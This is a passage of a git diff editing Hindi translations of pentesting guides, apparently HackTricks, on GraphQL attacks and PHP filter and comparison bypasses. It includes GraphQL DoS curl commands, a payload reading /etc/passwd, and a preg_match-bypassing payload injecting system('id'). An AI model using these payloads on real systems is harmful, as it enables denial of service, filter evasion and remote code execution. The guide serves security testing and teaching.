GraphQL का दुरुपयोग करते हुए CRSF कमजोरियों के समान, यह भी संभव है कि **क्रॉस-साइट वेबसॉकेट हाइजैकिंग का प्रदर्शन किया जाए ताकि GraphQL के साथ असुरक्षित कुकीज़ के साथ प्रमाणीकरण का दुरुपयोग किया जा सके** और उपयोगकर्ता को GraphQL में अप्रत्याशित क्रियाएँ करने के लिए मजबूर किया जा सके।
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
@ -445,7 +445,7 @@ CRSF कमजोरियों के समान, GraphQL का दुर
|
||||
|
||||
एंडपॉइंट पर परिभाषित कई GraphQL कार्य केवल अनुरोधकर्ता की प्रमाणीकरण की जांच कर सकते हैं लेकिन प्राधिकरण की नहीं।
|
||||
|
||||
क्वेरी इनपुट वेरिएबल को संशोधित करने से संवेदनशील खाता विवरण [leaked](https://hackerone.com/reports/792927) हो सकते हैं।
|
||||
क्वेरी इनपुट वेरिएबल को संशोधित करने से संवेदनशील खाता विवरण [लीक](https://hackerone.com/reports/792927) हो सकते हैं।
|
||||
|
||||
म्यूटेशन अन्य खाता डेटा को संशोधित करने का प्रयास करते समय खाता अधिग्रहण का कारण बन सकता है।
|
||||
```javascript
|
||||
@ -465,13 +465,13 @@ CRSF कमजोरियों के समान, GraphQL का दुर
|
||||
|
||||
## GraphQL में उपनामों का उपयोग करके दर सीमाओं को बायपास करना
|
||||
|
||||
GraphQL में, उपनाम एक शक्तिशाली विशेषता हैं जो API अनुरोध करते समय **गुणों के नाम को स्पष्ट रूप से** निर्दिष्ट करने की अनुमति देती हैं। यह क्षमता एकल अनुरोध के भीतर **एक ही प्रकार** की वस्तुओं के **कई उदाहरणों** को पुनः प्राप्त करने के लिए विशेष रूप से उपयोगी है। उपनामों का उपयोग उन सीमाओं को पार करने के लिए किया जा सकता है जो GraphQL वस्तुओं को एक ही नाम के साथ कई गुण रखने से रोकती हैं।
|
||||
GraphQL में, उपनाम एक शक्तिशाली विशेषता हैं जो API अनुरोध करते समय **गुणों के नाम को स्पष्ट रूप से** नामित करने की अनुमति देती हैं। यह क्षमता एकल अनुरोध के भीतर **एक ही प्रकार** की वस्तुओं के **कई उदाहरणों** को पुनः प्राप्त करने के लिए विशेष रूप से उपयोगी है। उपनामों का उपयोग उन सीमाओं को पार करने के लिए किया जा सकता है जो GraphQL वस्तुओं को एक ही नाम के साथ कई गुण रखने से रोकती हैं।
|
||||
|
||||
GraphQL उपनामों की विस्तृत समझ के लिए, निम्नलिखित संसाधन की सिफारिश की जाती है: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)।
|
||||
|
||||
हालांकि उपनामों का प्राथमिक उद्देश्य कई API कॉल की आवश्यकता को कम करना है, एक अनपेक्षित उपयोग का मामला पहचाना गया है जहां उपनामों का उपयोग GraphQL एंडपॉइंट पर ब्रूट फोर्स हमलों को निष्पादित करने के लिए किया जा सकता है। यह संभव है क्योंकि कुछ एंडपॉइंट्स को दर सीमित करने वालों द्वारा संरक्षित किया गया है जो HTTP अनुरोधों की **संख्या** को सीमित करके ब्रूट फोर्स हमलों को रोकने के लिए डिज़ाइन किए गए हैं। हालाँकि, ये दर सीमित करने वाले प्रत्येक अनुरोध के भीतर संचालन की संख्या को ध्यान में नहीं रख सकते हैं। चूंकि उपनाम एक ही HTTP अनुरोध में कई क्वेरियों को शामिल करने की अनुमति देते हैं, वे ऐसी दर सीमित करने वाली उपायों को बायपास कर सकते हैं।
|
||||
हालांकि उपनामों का प्राथमिक उद्देश्य कई API कॉल की आवश्यकता को कम करना है, एक अनपेक्षित उपयोग का मामला पहचाना गया है जहां उपनामों का उपयोग GraphQL एंडपॉइंट पर ब्रूट फोर्स हमलों को निष्पादित करने के लिए किया जा सकता है। यह संभव है क्योंकि कुछ एंडपॉइंट्स को दर सीमित करने वालों द्वारा सुरक्षित किया गया है जो HTTP अनुरोधों की **संख्या** को सीमित करके ब्रूट फोर्स हमलों को रोकने के लिए डिज़ाइन किए गए हैं। हालाँकि, ये दर सीमित करने वाले प्रत्येक अनुरोध के भीतर संचालन की संख्या को ध्यान में नहीं रख सकते हैं। चूंकि उपनाम एक ही HTTP अनुरोध में कई क्वेरी शामिल करने की अनुमति देते हैं, वे ऐसी दर सीमित करने वाली उपायों को बायपास कर सकते हैं।
|
||||
|
||||
नीचे दिए गए उदाहरण पर विचार करें, जो दिखाता है कि कैसे उपनामित क्वेरियों का उपयोग स्टोर डिस्काउंट कोड की वैधता की पुष्टि करने के लिए किया जा सकता है। यह विधि दर सीमित करने को बायपास कर सकती है क्योंकि यह कई क्वेरियों को एक HTTP अनुरोध में संकलित करती है, संभावित रूप से कई डिस्काउंट कोड की एक साथ पुष्टि करने की अनुमति देती है।
|
||||
नीचे दिए गए उदाहरण पर विचार करें, जो दिखाता है कि कैसे उपनामित क्वेरी का उपयोग स्टोर डिस्काउंट कोड की वैधता की पुष्टि करने के लिए किया जा सकता है। यह विधि दर सीमित करने को बायपास कर सकती है क्योंकि यह कई क्वेरी को एक HTTP अनुरोध में संकलित करती है, संभावित रूप से कई डिस्काउंट कोड की एक साथ पुष्टि करने की अनुमति देती है।
|
||||
```bash
|
||||
# Example of a request utilizing aliased queries to check for valid discount codes
|
||||
query isValidDiscount($code: Int) {
|
||||
@ -490,7 +490,7 @@ valid
|
||||
|
||||
### Alias Overloading
|
||||
|
||||
**Alias Overloading** एक GraphQL कमजोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई उपनामों के साथ एक क्वेरी को ओवरलोड करते हैं, जिससे बैकएंड रिसोल्वर उस फ़ील्ड को बार-बार निष्पादित करता है। इससे सर्वर संसाधनों पर दबाव पड़ सकता है, जिससे **Denial of Service (DoS)** हो सकता है। उदाहरण के लिए, नीचे दी गई क्वेरी में, एक ही फ़ील्ड (`expensiveField`) को उपनामों का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे बैकएंड को इसे 1,000 बार गणना करने के लिए मजबूर किया जाता है, जो CPU या मेमोरी को समाप्त कर सकता है:
|
||||
**Alias Overloading** एक GraphQL कमजोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई उपनामों के साथ एक क्वेरी को ओवरलोड करते हैं, जिससे बैकएंड रिसोल्वर उस फ़ील्ड को बार-बार निष्पादित करता है। इससे सर्वर संसाधनों पर दबाव पड़ सकता है, जिससे **Denial of Service (DoS)** हो सकता है। उदाहरण के लिए, नीचे दिए गए क्वेरी में, एक ही फ़ील्ड (`expensiveField`) को उपनामों का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे बैकएंड को इसे 1,000 बार गणना करने के लिए मजबूर किया जाता है, जो CPU या मेमोरी को संभावित रूप से समाप्त कर सकता है:
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "Content-Type: application/json" \
|
||||
@ -501,7 +501,7 @@ curl -X POST -H "Content-Type: application/json" \
|
||||
|
||||
### **एरे-आधारित क्वेरी बैचिंग**
|
||||
|
||||
**एरे-आधारित क्वेरी बैचिंग** एक कमजोरियों में से एक है जहाँ एक GraphQL API एकल अनुरोध में कई क्वेरियों को बैच करने की अनुमति देती है, जिससे एक हमलावर को एक साथ बड़ी संख्या में क्वेरियाँ भेजने की अनुमति मिलती है। यह सभी बैच की गई क्वेरियों को समानांतर में निष्पादित करके बैकएंड को अभिभूत कर सकता है, अत्यधिक संसाधनों (CPU, मेमोरी, डेटाबेस कनेक्शन) का उपभोग कर सकता है और संभावित रूप से **सेवा से इनकार (DoS)** की स्थिति पैदा कर सकता है। यदि बैच में क्वेरियों की संख्या पर कोई सीमा नहीं है, तो एक हमलावर इसका लाभ उठाकर सेवा की उपलब्धता को कम कर सकता है।
|
||||
**एरे-आधारित क्वेरी बैचिंग** एक कमजोरियों है जहाँ एक GraphQL API एकल अनुरोध में कई क्वेरियों को बैच करने की अनुमति देती है, जिससे एक हमलावर को एक साथ बड़ी संख्या में क्वेरियाँ भेजने की अनुमति मिलती है। यह सभी बैच की गई क्वेरियों को समानांतर में निष्पादित करके बैकएंड को अभिभूत कर सकता है, अत्यधिक संसाधनों (CPU, मेमोरी, डेटाबेस कनेक्शन) का उपभोग कर सकता है और संभावित रूप से **सेवा से इनकार (DoS)** का कारण बन सकता है। यदि बैच में क्वेरियों की संख्या पर कोई सीमा नहीं है, तो एक हमलावर इसका लाभ उठाकर सेवा की उपलब्धता को कम कर सकता है।
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -509,7 +509,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
इस उदाहरण में, 10 विभिन्न क्वेरीज़ को एक अनुरोध में समेकित किया गया है, जिससे सर्वर को सभी को एक साथ निष्पादित करने के लिए मजबूर किया जाता है। यदि बड़े बैच आकार या गणनात्मक रूप से महंगे क्वेरीज़ के साथ इसका शोषण किया जाए, तो यह सर्वर को ओवरलोड कर सकता है।
|
||||
इस उदाहरण में, 10 विभिन्न क्वेरीज़ को एक अनुरोध में समाहित किया गया है, जिससे सर्वर को सभी को एक साथ निष्पादित करने के लिए मजबूर किया जाता है। यदि बड़े बैच आकार या गणनात्मक रूप से महंगे क्वेरीज़ के साथ इसका शोषण किया जाए, तो यह सर्वर को ओवरलोड कर सकता है।
|
||||
|
||||
### **निर्देश ओवरलोडिंग कमजोरियाँ**
|
||||
|
||||
@ -539,7 +539,7 @@ curl -X POST \
|
||||
|
||||
### **फील्ड डुप्लिकेशन कमजोरियाँ**
|
||||
|
||||
**फील्ड डुप्लिकेशन** एक कमजोरियाँ है जहाँ एक GraphQL सर्वर एक ही फील्ड को अत्यधिक दोहराए जाने वाले प्रश्नों की अनुमति देता है। यह सर्वर को हर उदाहरण के लिए फील्ड को पुनः हल करने के लिए मजबूर करता है, जिससे महत्वपूर्ण संसाधनों (CPU, मेमोरी, और डेटाबेस कॉल) की खपत होती है। एक हमलावर सैकड़ों या हजारों दोहराए गए फील्ड के साथ प्रश्न तैयार कर सकता है, जिससे उच्च लोड उत्पन्न होता है और संभावित रूप से **Denial of Service (DoS)** की स्थिति उत्पन्न हो सकती है।
|
||||
**फील्ड डुप्लिकेशन** एक कमजोरियाँ है जहाँ एक GraphQL सर्वर एक ही फील्ड को अत्यधिक दोहराए जाने वाले प्रश्नों की अनुमति देता है। यह सर्वर को हर उदाहरण के लिए फील्ड को पुनः हल करने के लिए मजबूर करता है, जिससे महत्वपूर्ण संसाधनों (CPU, मेमोरी, और डेटाबेस कॉल) की खपत होती है। एक हमलावर सैकड़ों या हजारों दोहराए गए फील्ड के साथ प्रश्न तैयार कर सकता है, जिससे उच्च लोड उत्पन्न होता है और संभावित रूप से **सेवा से इनकार (DoS)** की स्थिति उत्पन्न हो सकती है।
|
||||
```bash
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
|
||||
@ -550,15 +550,15 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
|
||||
### Vulnerability scanners
|
||||
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql endpoints की सामान्य गलत कॉन्फ़िगरेशन का परीक्षण करें
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Graphql endpoints की सामान्य गलत कॉन्फ़िगरेशन का परीक्षण करें
|
||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): बैच GraphQL क्वेरी और म्यूटेशन करने पर ध्यान केंद्रित करने वाला GraphQL सुरक्षा ऑडिटिंग स्क्रिप्ट।
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): उपयोग में लाए जा रहे graphql की फिंगरप्रिंटिंग करें
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): टूलकिट जिसका उपयोग स्कीमाओं को प्राप्त करने और संवेदनशील डेटा की खोज, प्राधिकरण का परीक्षण, ब्रूट फोर्स स्कीमाओं और एक दिए गए प्रकार के लिए पथ खोजने के लिए किया जा सकता है।
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): टूलकिट जिसका उपयोग स्कीमाओं को प्राप्त करने और संवेदनशील डेटा की खोज करने, प्राधिकरण का परीक्षण करने, ब्रूट फोर्स स्कीमाओं का परीक्षण करने और एक दिए गए प्रकार के लिए पथ खोजने के लिए किया जा सकता है।
|
||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): इसे स्टैंडअलोन के रूप में या [Burp extension](https://github.com/doyensec/inql) के रूप में उपयोग किया जा सकता है।
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): इसे CLI क्लाइंट के रूप में भी उपयोग किया जा सकता है ताकि हमलों को स्वचालित किया जा सके
|
||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): टूल जो **GraphQL स्कीमा में एक दिए गए प्रकार तक पहुँचने के विभिन्न तरीकों** की सूची बनाता है।
|
||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL के स्टैंडअलोन और CLI मोड का उत्तराधिकारी
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): उन्नत GraphQL परीक्षण के लिए Burp extension। _**Scanner**_ InQL v5.0 का मुख्य भाग है, जहाँ आप एक GraphQL endpoint या एक स्थानीय introspection स्कीमा फ़ाइल का विश्लेषण कर सकते हैं। यह सभी संभावित क्वेरी और म्यूटेशन को स्वचालित रूप से उत्पन्न करता है, उन्हें आपके विश्लेषण के लिए एक संरचित दृश्य में व्यवस्थित करता है। _**Attacker**_ घटक आपको बैच GraphQL हमले चलाने की अनुमति देता है, जो खराब कार्यान्वित दर सीमाओं को दरकिनार करने के लिए उपयोगी हो सकता है।
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): उन्नत GraphQL परीक्षण के लिए Burp extension। _**Scanner**_ InQL v5.0 का मुख्य भाग है, जहाँ आप एक GraphQL endpoint या एक स्थानीय introspection schema फ़ाइल का विश्लेषण कर सकते हैं। यह सभी संभावित क्वेरी और म्यूटेशन को स्वचालित रूप से उत्पन्न करता है, उन्हें आपके विश्लेषण के लिए एक संरचित दृश्य में व्यवस्थित करता है। _**Attacker**_ घटक आपको बैच GraphQL हमले चलाने की अनुमति देता है, जो खराब कार्यान्वित दर सीमाओं को पार करने के लिए उपयोगी हो सकता है।
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): कुछ Graphql डेटाबेस की मदद से स्कीमा प्राप्त करने की कोशिश करें जो म्यूटेशन और पैरामीटर के नाम सुझाएंगे, भले ही introspection बंद हो।
|
||||
|
||||
### Clients
|
||||
|
@ -3,11 +3,11 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Cookies सामान्य स्थान:
|
||||
## कुकीज़ का सामान्य स्थान:
|
||||
|
||||
यह phpMyAdmin कुकीज़ के लिए भी मान्य है।
|
||||
|
||||
Cookies:
|
||||
कुकीज़:
|
||||
```
|
||||
PHPSESSID
|
||||
phpMyAdmin
|
||||
@ -31,11 +31,11 @@ PHP तुलना तालिकाएँ: [https://www.php.net/manual/en/typ
|
||||
|
||||
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
- `"string" == 0 -> True` एक स्ट्रिंग जो संख्या से शुरू नहीं होती है, वह एक संख्या के बराबर होती है
|
||||
- `"0xAAAA" == "43690" -> True` दशम या हेक्स प्रारूप में संख्याओं से बनी स्ट्रिंग्स अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती हैं, यदि संख्याएँ समान थीं (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्यायित की जाती हैं)
|
||||
- `"0e3264578" == 0 --> True` "0e" से शुरू होने वाली और किसी भी चीज़ के बाद आने वाली स्ट्रिंग 0 के बराबर होगी
|
||||
- `"0X3264578" == 0X --> True` "0" से शुरू होने वाली और किसी भी अक्षर (X कोई भी अक्षर हो सकता है) और किसी भी चीज़ के बाद आने वाली स्ट्रिंग 0 के बराबर होगी
|
||||
- `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट और कुछ सामग्री को नियंत्रित कर सकते हैं जो हैश की जा रही है और इसकी तुलना की जा रही है। इसलिए, यदि आप एक ऐसा मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाए और बिना किसी अक्षर के हो, तो आप तुलना को बायपास कर सकते हैं। आप इस प्रारूप में **पहले से हैश की गई स्ट्रिंग्स** यहाँ पा सकते हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"string" == 0 -> True` एक स्ट्रिंग जो संख्या से शुरू नहीं होती है, वह संख्या के बराबर होती है
|
||||
- `"0xAAAA" == "43690" -> True` संख्याओं से बनी स्ट्रिंग जो दशमलव या हेक्स प्रारूप में होती है, अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती है यदि संख्याएँ समान थीं (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्यायित की जाती हैं)
|
||||
- `"0e3264578" == 0 --> True` "0e" से शुरू होने वाली और किसी भी चीज़ से आगे बढ़ने वाली स्ट्रिंग 0 के बराबर होगी
|
||||
- `"0X3264578" == 0X --> True` "0" से शुरू होने वाली और किसी भी अक्षर (X कोई भी अक्षर हो सकता है) और किसी भी चीज़ से आगे बढ़ने वाली स्ट्रिंग 0 के बराबर होगी
|
||||
- `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट और कुछ सामग्री को नियंत्रित कर सकते हैं जो हैश की जा रही है और इसकी तुलना की जा रही है। इसलिए, यदि आप एक ऐसा मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाए और बिना किसी अक्षर के, तो आप तुलना को बायपास कर सकते हैं। आप इस प्रारूप में **पहले से हैश की गई स्ट्रिंग्स** यहाँ पा सकते हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` स्ट्रिंग में कोई भी अक्षर int 0 के बराबर होता है
|
||||
|
||||
अधिक जानकारी के लिए [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) में देखें
|
||||
@ -61,9 +61,9 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
||||
```
|
||||
`strcasecmp()` के साथ भी वही त्रुटि होती है
|
||||
|
||||
### सख्त प्रकार की जुगलबंदी
|
||||
### सख्त प्रकार जुगलिंग
|
||||
|
||||
यहां तक कि अगर `===` का **उपयोग किया जा रहा है** तो भी ऐसी त्रुटियाँ हो सकती हैं जो **तुलना को प्रकार की जुगलबंदी के प्रति संवेदनशील** बनाती हैं। उदाहरण के लिए, यदि तुलना **तुलना करने से पहले डेटा को एक अलग प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है**:
|
||||
यहां तक कि यदि `===` **का उपयोग किया जा रहा है** तो भी ऐसी त्रुटियाँ हो सकती हैं जो **तुलना को प्रकार जुगलिंग के लिए संवेदनशील** बना देती हैं। उदाहरण के लिए, यदि तुलना **तुलना करने से पहले डेटा को एक अलग प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
@ -73,7 +73,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
||||
|
||||
#### नई पंक्ति बायपास
|
||||
|
||||
हालांकि, जब regexp`preg_match()` के प्रारंभ को सीमित किया जाता है, तो यह **केवल उपयोगकर्ता इनपुट की पहली पंक्ति** की **जांच** करता है, फिर यदि किसी तरह आप **कई पंक्तियों** में इनपुट **भेज** सकते हैं, तो आप इस जांच को बायपास करने में सक्षम हो सकते हैं। उदाहरण:
|
||||
हालांकि, जब regexp`preg_match()` के प्रारंभ को सीमित किया जाता है, यह **केवल उपयोगकर्ता इनपुट की पहली पंक्ति** की **जांच** करता है, फिर यदि किसी तरह आप **कई पंक्तियों** में इनपुट **भेज** सकते हैं, तो आप इस जांच को बायपास करने में सक्षम हो सकते हैं। उदाहरण:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
@ -92,12 +92,12 @@ echo preg_match("/^.*1.*$/",$myinput);
|
||||
"cmd": "cat /etc/passwd"
|
||||
}
|
||||
```
|
||||
यहाँ एक उदाहरण खोजें: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||
|
||||
#### **Length error bypass**
|
||||
|
||||
(यह बायपास स्पष्ट रूप से PHP 5.2.5 पर आजमाया गया था और मैं इसे PHP 7.3.15 पर काम नहीं करवा सका)\
|
||||
यदि आप `preg_match()` को एक मान्य बहुत **बड़ा इनपुट** भेज सकते हैं, तो यह **इसे प्रोसेस नहीं कर पाएगा** और आप **चेक को बायपास** कर सकेंगे। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है, तो आप भेज सकते हैं:
|
||||
यदि आप `preg_match()` को एक मान्य बहुत **बड़ा इनपुट** भेज सकते हैं, तो यह **इसे प्रोसेस नहीं कर पाएगा** और आप **चेक को बायपास** कर सकेंगे। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है तो आप भेज सकते हैं:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
@ -114,12 +114,12 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
||||
[यह Stackoverflow थ्रेड](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) भी उस पोस्ट में लिंक किया गया था जहाँ इस मुद्दे के बारे में अधिक गहराई से चर्चा की गई है। हमारा कार्य अब स्पष्ट था:\
|
||||
**एक इनपुट भेजें जो regex को 100_000+ पुनरावृत्तियों करने के लिए मजबूर करे, जिससे SIGSEGV हो, जिससे `preg_match()` फ़ंक्शन `false` लौटाए और इस प्रकार एप्लिकेशन को यह सोचने पर मजबूर करे कि हमारा इनपुट दुर्भावनापूर्ण नहीं है, अंत में पे लोड में कुछ ऐसा फेंकते हुए `{system(<verybadcommand>)}` जिससे SSTI --> RCE --> ध्वज :)**।
|
||||
|
||||
खैर, regex के संदर्भ में, हम वास्तव में 100k "पुनरावृत्तियों" नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जो [PHP दस्तावेज़](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) के अनुसार `pcre.backtrack_limit` चर में डिफ़ॉल्ट रूप से 1_000_000 (1M) होती है।\
|
||||
खैर, regex के संदर्भ में, हम वास्तव में 100k "पुनरावृत्तियों" नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जो [PHP दस्तावेज़](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) के अनुसार `pcre.backtrack_limit` चर में डिफ़ॉल्ट रूप से 1_000_000 (1M) होता है।\
|
||||
इस तक पहुँचने के लिए, `'X'*500_001` 1 मिलियन बैकट्रैकिंग स्टेप्स (500k आगे और 500k पीछे) का परिणाम देगा:
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
### PHP ओब्फ़स्केशन के लिए टाइप जुगलिंग
|
||||
### PHP ओब्फ़स्केशन के लिए टाइप जगलिंग
|
||||
```php
|
||||
$obfs = "1"; //string "1"
|
||||
$obfs++; //int 2
|
||||
@ -153,15 +153,15 @@ Check:
|
||||
## More tricks
|
||||
|
||||
- **register_globals**: In **PHP < 4.1.1.1** या यदि गलत कॉन्फ़िगर किया गया हो, तो **register_globals** सक्रिय हो सकता है (या उनका व्यवहार अनुकरण किया जा रहा है)। इसका मतलब है कि वैश्विक चर जैसे $\_GET यदि उनके पास एक मान है जैसे $\_GET\["param"]="1234", तो आप इसे **$param के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर भेजकर आप उन चर को ओवरराइट कर सकते हैं\*\* जो कोड के भीतर उपयोग किए जाते हैं।
|
||||
- **एक ही डोमेन के PHPSESSION कुकीज़ एक ही स्थान पर संग्रहीत होते हैं**, इसलिए यदि एक डोमेन में **विभिन्न कुकीज़ विभिन्न पथों में उपयोग की जाती हैं** तो आप उस पथ को बना सकते हैं **जो कुकी को पथ** सेटिंग के अन्य पथ कुकी के मान को एक्सेस करता है।\
|
||||
इस तरह यदि **दोनों पथ एक ही नाम के साथ एक चर को एक्सेस करते हैं** तो आप **path1 में उस चर का मान path2 पर लागू कर सकते हैं**। और फिर path2 path1 के चर को मान्य के रूप में लेगा (कुकी को उस नाम के साथ देने से जो path2 में इसके लिए संबंधित है)।
|
||||
- जब आपके पास मशीन के उपयोगकर्ताओं के **यूजरनेम** होते हैं। पता जांचें: **/\~\<USERNAME>** यह देखने के लिए कि क्या php निर्देशिकाएँ सक्रिय हैं।
|
||||
- [**LFI और RCE का उपयोग करके php wrappers**](../../../pentesting-web/file-inclusion/)
|
||||
- **एक ही डोमेन के PHPSESSION कुकीज़ एक ही स्थान पर संग्रहीत होते हैं**, इसलिए यदि एक डोमेन में **विभिन्न कुकीज़ विभिन्न पथों में उपयोग की जाती हैं** तो आप उस पथ को बना सकते हैं **जो कुकी को उस पथ का एक्सेस करता है** जो दूसरे पथ की कुकी का मान सेट करता है।\
|
||||
इस तरह यदि **दोनों पथ एक ही नाम के साथ एक चर को एक्सेस करते हैं** तो आप **path1 में उस चर का मान path2 पर लागू कर सकते हैं**। और फिर path2 path1 के चर को मान्य के रूप में लेगा (कुकी को उस नाम देने के द्वारा जो path2 में इसके लिए संबंधित है)।
|
||||
- जब आपके पास मशीन के उपयोगकर्ताओं के **उपयोगकर्ता नाम** हों। पता जांचें: **/\~\<USERNAME>** यह देखने के लिए कि क्या php निर्देशिकाएँ सक्रिय हैं।
|
||||
- [**LFI और RCE का उपयोग करके php wrappers**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
### password_hash/password_verify
|
||||
|
||||
ये फ़ंक्शन आमतौर पर PHP में **पासवर्ड से हैश उत्पन्न करने** और यह **जांचने** के लिए उपयोग किए जाते हैं कि क्या एक पासवर्ड हैश के साथ सही है।\
|
||||
समर्थित एल्गोरिदम हैं: `PASSWORD_DEFAULT` और `PASSWORD_BCRYPT` (जो `$2y$` से शुरू होता है)। ध्यान दें कि **PASSWORD_DEFAULT अक्सर PASSWORD_BCRYPT के समान होता है।** और वर्तमान में, **PASSWORD_BCRYPT** का **इनपुट में 72बाइट्स का आकार सीमा** है। इसलिए, जब आप इस एल्गोरिदम के साथ 72बाइट्स से बड़ा कुछ हैश करने की कोशिश करते हैं, तो केवल पहले 72B का उपयोग किया जाएगा:
|
||||
समर्थित एल्गोरिदम हैं: `PASSWORD_DEFAULT` और `PASSWORD_BCRYPT` (जो `$2y$` से शुरू होता है)। ध्यान दें कि **PASSWORD_DEFAULT अक्सर PASSWORD_BCRYPT के समान होता है।** और वर्तमान में, **PASSWORD_BCRYPT** का **इनपुट में 72bytes का आकार सीमा** है। इसलिए, जब आप इस एल्गोरिदम के साथ 72bytes से बड़ा कुछ हैश करने की कोशिश करते हैं, तो केवल पहले 72B का उपयोग किया जाएगा:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
@ -175,7 +175,7 @@ True
|
||||
|
||||
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) आप देख सकते हैं कि 1000 से अधिक GET params या 1000 POST params या 20 फ़ाइलें भेजने पर, PHOP प्रतिक्रिया में हेडर सेट नहीं करेगा।
|
||||
|
||||
उदाहरण के लिए CSP हेडर को बायपास करने की अनुमति देता है जो कोड में सेट किए गए हैं:
|
||||
उदाहरण के लिए CSP हेडर को बायपास करने की अनुमति देता है जो कोड में सेट होते हैं:
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
@ -183,8 +183,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
||||
```
|
||||
#### हेडर सेट करने से पहले एक बॉडी भरना
|
||||
|
||||
